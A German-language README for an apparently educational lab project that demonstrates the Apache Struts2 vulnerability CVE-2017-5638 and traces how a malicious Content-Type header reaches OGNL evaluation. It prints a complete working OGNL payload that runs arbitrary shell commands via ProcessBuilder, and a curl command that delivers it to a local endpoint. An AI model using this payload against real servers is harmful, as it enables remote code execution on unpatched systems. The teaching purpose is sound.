
Struts2-Anwendung anfällig für CVE-2017-5638. Erklärt, wie der Exploit der Schwachstelle in Bezug auf OGNL und den JakartaMultiPart-Parser funktioniert.
Dies dient ausschließlich Bildungs- und Forschungszwecken. Ich autorisiere oder befürworte keinerlei illegale oder unethische Nutzung der Inhalte oder Informationen dieses Projekts.
So starten Sie die Webapp:
Zum Senden von Befehlen verwenden Sie den Kommandozeilen-Emulator (Send.jar) Projekt:
leere URL standardmäßig http://localhost:8080/MSCybersecurity/exploit, Sie müssen sich auf dem /exploit-Endpunkt befinden

Wenn Sie diesen Quellcode ändern möchten, verwendet das Projekt das Maven-Build-System:
NVD CVE-2017-5638
Der raffinierte Aspekt dieser Schwachstelle ist die Ausnutzung von OGNL (Object Graph Navigation Library).
OGNL verwendet Ausdrücke, um Aufgaben auszuführen, und zwei der erlaubten Ausdrücke sind die Fähigkeit, beliebige Klassen im Framework aufzurufen und Ereignisse zu verketten. Referenzhandbuch OGNL Language Guide.
So ist es beispielsweise möglich, das Objekt edu.uvu.ms.cybersecurity.Command mit OGNL zu instanziieren:
// OGNL-Ausdruck zum Instanziieren des Command-Objekts
(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity'))
Die Klasse edu.uvu.ms.cybersecurity.Command
// Command gibt einfach das cmd-Argument aus, das vom OGNL-Ausdruck übergeben wurde
public class Command {
private Object cmd;
public Command(Object cmd){
this.cmd = cmd;
}
private void print(){
System.out.println("OGNL recieved cmd: "+this.cmd);
}
public void print(String loc){
System.out.println("OGNL recieved cmd: "+this.cmd+" from "+loc);
}
}
Oder, in einem praktischeren Sinne, kann man die Klasse java.lang.ProcessBuilder aufrufen, um Systembefehle auszuführen:
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())
Das folgende Payload enthält einen Befehl, um edu.uvu.ms.cybersecurity.Command aufzurufen und den an den Server gesendeten Befehl in der Konsole auszugeben und anschließend den Befehl auszuführen. (zur Veranschaulichung der Verkettung von Ereignissen und des Aufrufs von Klassen)
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Liefern Sie das Payload mit CURL aus:
curl -H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" -X POST http://localhost:8080/MSCybersecurity/exploit
Ein Teil dieses Payloads stammt von Rapid7 GitHub
Der Jakarta MultiPart Parser:
Das Problem ist, dass der Parser eingehende Werte im Content-Type-Header nicht escapet. Das bedeutet, dass ein OGNL-Ausdruck in den Content-Header verpackt werden kann. Wenn festgestellt wird, dass der Header MultiPart ist, wird er an die Klasse OgnlTextParser.class gesendet, die den OGNL-Ausdruck einfach interpretiert und anschließend beliebige Befehle ausführt.
Im Folgenden wird Schritt für Schritt gezeigt, wie diese Schwachstelle ausgenutzt wird.
Der Struts2-Dispatcher: org.apache.struts2.dispatcher.Dispatcher
Die Struts Dispatcher.class empfängt die Anfrage, bestimmt, dass sie von der JakartaMultiPart-Bibliothek verarbeitet werden sollte, und ruft den Konstruktor MultiPartRequestWrapper() auf

Der OGNL-Ausdruck aus dem Content-Type-Header wird dann an die Methode parse() übergeben. Da die Header-Informationen fehlerhaft sind, löst der Parser eine Ausnahme aus und ruft die Methode buildErrorMessage() auf

Die Methode buildErrorMessage() versucht, eine geeignete Fehlermeldung an den Benutzer zurückzugeben. Dazu muss sie jedoch die Methode findText() der Klasse LocalizedTextUtil.class verwenden

Die Methode findText der Klasse LocalizedTextUtil.class ruft ihrerseits getDefaultMessage() auf und übergibt die Content-Type-Informationen

Die Methode getDefaultMessage() delegiert dann an die Methode translateVariables() der Klasse TextParseUtil.class

Die Methode translateVariables() der Klasse TextParseUtil.class delegiert an die evaluate-Methode der Klasse OgnlTextParser.class

Das Ergebnis ist, dass alle OGNL-Ausdrücke nun ausgeführt werden
